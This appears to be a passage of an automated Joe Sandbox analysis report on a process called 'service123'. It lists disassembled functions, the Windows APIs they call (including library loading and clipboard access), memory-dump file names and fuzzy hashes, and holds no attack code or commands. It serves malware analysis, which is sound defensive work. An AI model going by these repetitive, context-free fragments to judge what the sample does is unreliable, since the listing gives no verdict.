abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D60
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D65
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6A
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6F
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D74
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D79
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D7E

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: cfb8cd86fb4ed4db1f36d1ad5b6e6e593387f304b8278b726de08a2a50fb4fbe
Instruction ID: fd90430e1d2378c4e6370917d6adfc8366dd7bd6353dc76de0fc74811ced2527
Opcode Fuzzy Hash: cfb8cd86fb4ed4db1f36d1ad5b6e6e593387f304b8278b726de08a2a50fb4fbe
Instruction Fuzzy Hash: 8821263234920C8BC714CF58D881996B3A6FBC6329728C9BED4988BB15D637E806C790

Function 6C84E570 Relevance: 15.1, APIs: 10, Instructions: 145COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D51
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D56
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D5B
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D60
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D65
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6A
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6F
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D74
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D79
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D7E

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 9dd2c658d3c2cb619c7bf21bb267980a7d57e1b10d09043a9d0bcde5e8cf3aa6
Instruction ID: 897978b820ac8b95decfdf94959a5194cba4b71b1861224cfddc35a3d0f4087c
Opcode Fuzzy Hash: 9dd2c658d3c2cb619c7bf21bb267980a7d57e1b10d09043a9d0bcde5e8cf3aa6
Instruction Fuzzy Hash: 5741A57450831E8AD730DF29C280766F7E1AF92314F54CE1AE4A487E95E334D94ACBD2

Function 6C84E59B Relevance: 15.1, APIs: 10, Instructions: 89COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D51
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D56
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D5B
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D60
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D65
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6A
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6F
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D74
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D79
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D7E

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 602950868eee7070e08be62886ca486b6e553905e997eb949550a7b66955e2bd
Instruction ID: e60784308ad573e2a425dc0f1a3542d3246811144c346032556bc1bfe7d0a627
Opcode Fuzzy Hash: 602950868eee7070e08be62886ca486b6e553905e997eb949550a7b66955e2bd
Instruction Fuzzy Hash: C421817050531A8BD730DF28C29066AF7E1AF92318F65CE19E4A487E85E334DD4ACBD2

Function 6C84E714 Relevance: 15.0, APIs: 10, Instructions: 35COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D51
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D56
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D5B
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D60
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D65
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6A
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6F
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D74
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D79
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D7E

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 9e089e6cd6cd64aa5b62a2a55d0ff6e4215562d1fbf434e16bed1c0db5fcfaf7
Instruction ID: 952ea91a2c7acea86183744080cdfd9daf0cf85610bd3b5fcf9686cb6cc40510
Opcode Fuzzy Hash: 9e089e6cd6cd64aa5b62a2a55d0ff6e4215562d1fbf434e16bed1c0db5fcfaf7
Instruction Fuzzy Hash: 83E04F7048831D8AC631CB28C651595F7D5AB56348F418C16D4D587D14E324D94BCB82

Function 6C859249 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 31libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 6C859260
GetProcAddress.KERNEL32 ref: 6C85927A
LoadLibraryW.KERNEL32 ref: 6C85929F
GetProcAddress.KERNEL32 ref: 6C8592B3

Strings

SystemFunction036, xrefs: 6C8592A8
advapi32.dll, xrefs: 6C859298
msvcrt.dll, xrefs: 6C859255
rand_s, xrefs: 6C85926F

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: SystemFunction036$advapi32.dll$msvcrt.dll$rand_s
API String ID: 384173800-4041758303
Opcode ID: 762ed3ef103b2ef426074e8a1090cea45a5d5884c122b8d11db62e82158f6995
Instruction ID: 5c2be0d79c99437507f8493becefa0360845567c3e320551287e59c7582ba484
Opcode Fuzzy Hash: 762ed3ef103b2ef426074e8a1090cea45a5d5884c122b8d11db62e82158f6995
Instruction Fuzzy Hash: 72F049F29583408BDF00BF79864A21ABBB0BB06724F52092CD4D897644E338D424DFA7

Function 6C8DF8C0 Relevance: 13.7, APIs: 8, Strings: 1, Instructions: 224COMMON

Download Yara Rule

APIs

memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C8BDA2E), ref: 6C8DF95D
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C8BDA2E), ref: 6C8DF988
memmove.MSVCRT ref: 6C8DF9D7
memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C8BDA2E), ref: 6C8DFA0D
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C8BDA2E), ref: 6C8DFA58

Strings

basic_string::_M_replace, xrefs: 6C8DFBB6

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: memmove$memcpy
String ID: basic_string::_M_replace
API String ID: 3033661859-2323331477
Opcode ID: fe17507cc76c152eaa5a90935558b8d82e29cfdf6ee02bdf7d929c8a5d785505
Instruction ID: 29e86fafb460e7a05f822db34955a99edf4ad85b9287935a855e072621965e3b
Opcode Fuzzy Hash: fe17507cc76c152eaa5a90935558b8d82e29cfdf6ee02bdf7d929c8a5d785505
Instruction Fuzzy Hash: A6813774909351AFC321DF2CC28051EFBE1AFDA248F268D6EE4D597715D232E848DB52

Function 6C84FEE0 Relevance: 13.7, APIs: 9, Instructions: 186synchronizationCOMMON

Download Yara Rule

APIs

CreateSemaphoreW.KERNEL32 ref: 6C8500D2
WaitForSingleObject.KERNEL32 ref: 6C850117

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: CreateObjectSemaphoreSingleWait
String ID:
API String ID: 1168595426-0
Opcode ID: 0dc940abc7ce44ee1b39bd2bed5a7d58ea178d7e875a9f741c81a9344d38be39
Instruction ID: 6caef869be51fe8dad3c4019601e248c7e00b28340dfca5c4710ad1a596665af
Opcode Fuzzy Hash: 0dc940abc7ce44ee1b39bd2bed5a7d58ea178d7e875a9f741c81a9344d38be39
Instruction Fuzzy Hash: C1617E70709349CFDB60DF6AC644366B7F5BB46308F60892DE85987B80DBB0D819CB62

Function 6C84E760 Relevance: 13.6, APIs: 9, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06e0c648a8d817803f94ec4fed503a03ca8cf05461f9862a5274ef0ffe4ad900
Instruction ID: 4baf0f66df9111cfa7052f6be42633c6c8725ffe7656a67d7bac0d70a820e350
Opcode Fuzzy Hash: 06e0c648a8d817803f94ec4fed503a03ca8cf05461f9862a5274ef0ffe4ad900
Instruction Fuzzy Hash: C501C875A5921D8FC720CB1CC580A9BF7E5AB96324F059D29E48587B14D234DCCAC7C2

Function 00B32BF0 Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 407COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00B32CC1

Strings

o, xrefs: 00B330A8
0, xrefs: 00B3313E

Memory Dump Source

Source File: 00000009.00000002.3790768381.0000000000B31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000009.00000002.3790722632.0000000000B30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790812212.0000000000B3A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790885365.0000000000B3E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790929515.0000000000B41000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b30000_service123.jbxd

Similarity

API ID: memset
String ID: 0$o
API String ID: 2221118986-4157579757
Opcode ID: 5a2ef28bdbcba101e83cdabdda6d05f5f0490c8583f277cf0ba504eb215e70c5
Instruction ID: 07bcd8371f058a2cc5df7435487c3f1e82774a89b7f78ceb6db516dbf8c2d91f
Opcode Fuzzy Hash: 5a2ef28bdbcba101e83cdabdda6d05f5f0490c8583f277cf0ba504eb215e70c5
Instruction Fuzzy Hash: E1F18171A042198FCB15CF68C48179DBBF2FF89360F2982A9E854AB351D734ED45CB90

Function 6C8532C0 Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 407COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C853391

Strings

o, xrefs: 6C853778
0, xrefs: 6C85380E

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: memset
String ID: 0$o
API String ID: 2221118986-4157579757
Opcode ID: 00cb2d98c6e32ca29e5df2379417918a183b51e8976e900d5a5783c2af379635
Instruction ID: 29b89261af3c6e89abe4e2870f8097fe17758b7654c5b65f5362ebcba9a4a000
Opcode Fuzzy Hash: 00cb2d98c6e32ca29e5df2379417918a183b51e8976e900d5a5783c2af379635
Instruction Fuzzy Hash: 82F1E071A042088FCB11CF68C5807DDBBF2BF89364F998A29D854AB781D374ED55CB90

Function 00B314E0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 43libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00B314F0
LoadLibraryA.KERNEL32 ref: 00B31506
GetProcAddress.KERNEL32 ref: 00B31525
GetProcAddress.KERNEL32 ref: 00B31537

Strings

libgcc_s_dw2-1.dll, xrefs: 00B314E9, 00B314FF
__deregister_frame_info, xrefs: 00B3152C
__register_frame_info, xrefs: 00B3151A

Memory Dump Source

Source File: 00000009.00000002.3790768381.0000000000B31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000009.00000002.3790722632.0000000000B30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790812212.0000000000B3A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790885365.0000000000B3E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790929515.0000000000B41000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b30000_service123.jbxd

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: __deregister_frame_info$__register_frame_info$libgcc_s_dw2-1.dll
API String ID: 384173800-1835852900
Opcode ID: 91dafdc052d68ec21f1720a4ad943ddab92f6749130aa7aaade47017faa1b23d
Instruction ID: 3054c1edddba762374f72422c6b5e774c5bc314cb6052a4a96b11784923517a5
Opcode Fuzzy Hash: 91dafdc052d68ec21f1720a4ad943ddab92f6749130aa7aaade47017faa1b23d
Instruction Fuzzy Hash: 070144B69053009BC700BF7CA95921D7FF8EB84750F3249ADD5C997240EB749404CBA3

Function 6C8413E0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 43libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 6C8413F0
LoadLibraryA.KERNEL32 ref: 6C841406
GetProcAddress.KERNEL32 ref: 6C841425
GetProcAddress.KERNEL32 ref: 6C841437

Strings

__register_frame_info, xrefs: 6C84141A
libgcc_s_dw2-1.dll, xrefs: 6C8413E9, 6C8413FF
__deregister_frame_info, xrefs: 6C84142C

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: __deregister_frame_info$__register_frame_info$libgcc_s_dw2-1.dll
API String ID: 384173800-1835852900
Opcode ID: 438a1a6bd0db66e8b7261569350d66951f3f1190d95645f273c3c6a583b5c81f
Instruction ID: 8318bc01d8d2bfd8c919a495f4e940194ff32dd19a02597b364676d6c3994e05
Opcode Fuzzy Hash: 438a1a6bd0db66e8b7261569350d66951f3f1190d95645f273c3c6a583b5c81f
Instruction Fuzzy Hash: BE0171B290D34CDFDB10BFB9960721E7FB4AB42298F42882DD58947A10D730C424CBA3

Function 6C8673C0 Relevance: 12.2, APIs: 6, Strings: 2, Instructions: 237stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 6C867411
strlen.MSVCRT ref: 6C86742B
strlen.MSVCRT ref: 6C86747B
strlen.MSVCRT ref: 6C8674D8
strlen.MSVCRT ref: 6C86752C

Strings

basic_string::append, xrefs: 6C8676CA, 6C8676D6, 6C8676E2, 6C8676EE
*, xrefs: 6C867660

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: strlen$strcmp
String ID: *$basic_string::append
API String ID: 551667898-3732199748
Opcode ID: 9ccb3e64319ae5e31d757b0b3b618d63d9003b791e1fa2563348f4d491715e0a
Instruction ID: dad2a468f26d5569fb8f17f22b43b31faf48df6f5c5d6385c156444bad3d6531
Opcode Fuzzy Hash: 9ccb3e64319ae5e31d757b0b3b618d63d9003b791e1fa2563348f4d491715e0a
Instruction Fuzzy Hash: 44A15CB0A087058FDB10EF29C28475EBBF1BF49308F51896DD4989BB44D739E849CB92

Function 6C8E3DD0 Relevance: 12.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 6C8E3E6F
memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C87E9CE), ref: 6C8E3ED3
memmove.MSVCRT ref: 6C8E3F0B
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C87E9CE), ref: 6C8E3F7A

Strings

basic_string::_M_replace, xrefs: 6C8E40FF

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: memmove$memcpy
String ID: basic_string::_M_replace
API String ID: 3033661859-2323331477
Opcode ID: 6fdde6cd911b7e16ed52d4a69a03f49476b6cf3da295ab7c99d27a36289f45d9
Instruction ID: d9732c1dc733a3c3202bb0bf50aabd7f7da85d6b6dd2a7907536e2168744558b
Opcode Fuzzy Hash: 6fdde6cd911b7e16ed52d4a69a03f49476b6cf3da295ab7c99d27a36289f45d9
Instruction Fuzzy Hash: CA9136356093568FC320DF18C28051ABBF1BF8A308F548D6DE58997B24D774ED45CB82

Function 6C84E800 Relevance: 12.1, APIs: 8, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 1884a794d3d441725b09e7e72905d71cc32fb0140713b8c23ce069bb11cd822c
Instruction ID: fc659ed252b482ec2b65450afb00fdb107e855e9632b91addcb71f2459d78cd5
Opcode Fuzzy Hash: 1884a794d3d441725b09e7e72905d71cc32fb0140713b8c23ce069bb11cd822c
Instruction Fuzzy Hash: 4221953195422D8FDF30CA29C6C198AF7A6AB96314B54CE26D89447E18D320E88BC7D2

Function 6C859BA6 Relevance: 12.1, APIs: 8, Instructions: 86clipboardCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 6C859BA9
IsClipboardFormatAvailable.USER32 ref: 6C859DDC
OpenClipboard.USER32 ref: 6C859DF0

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
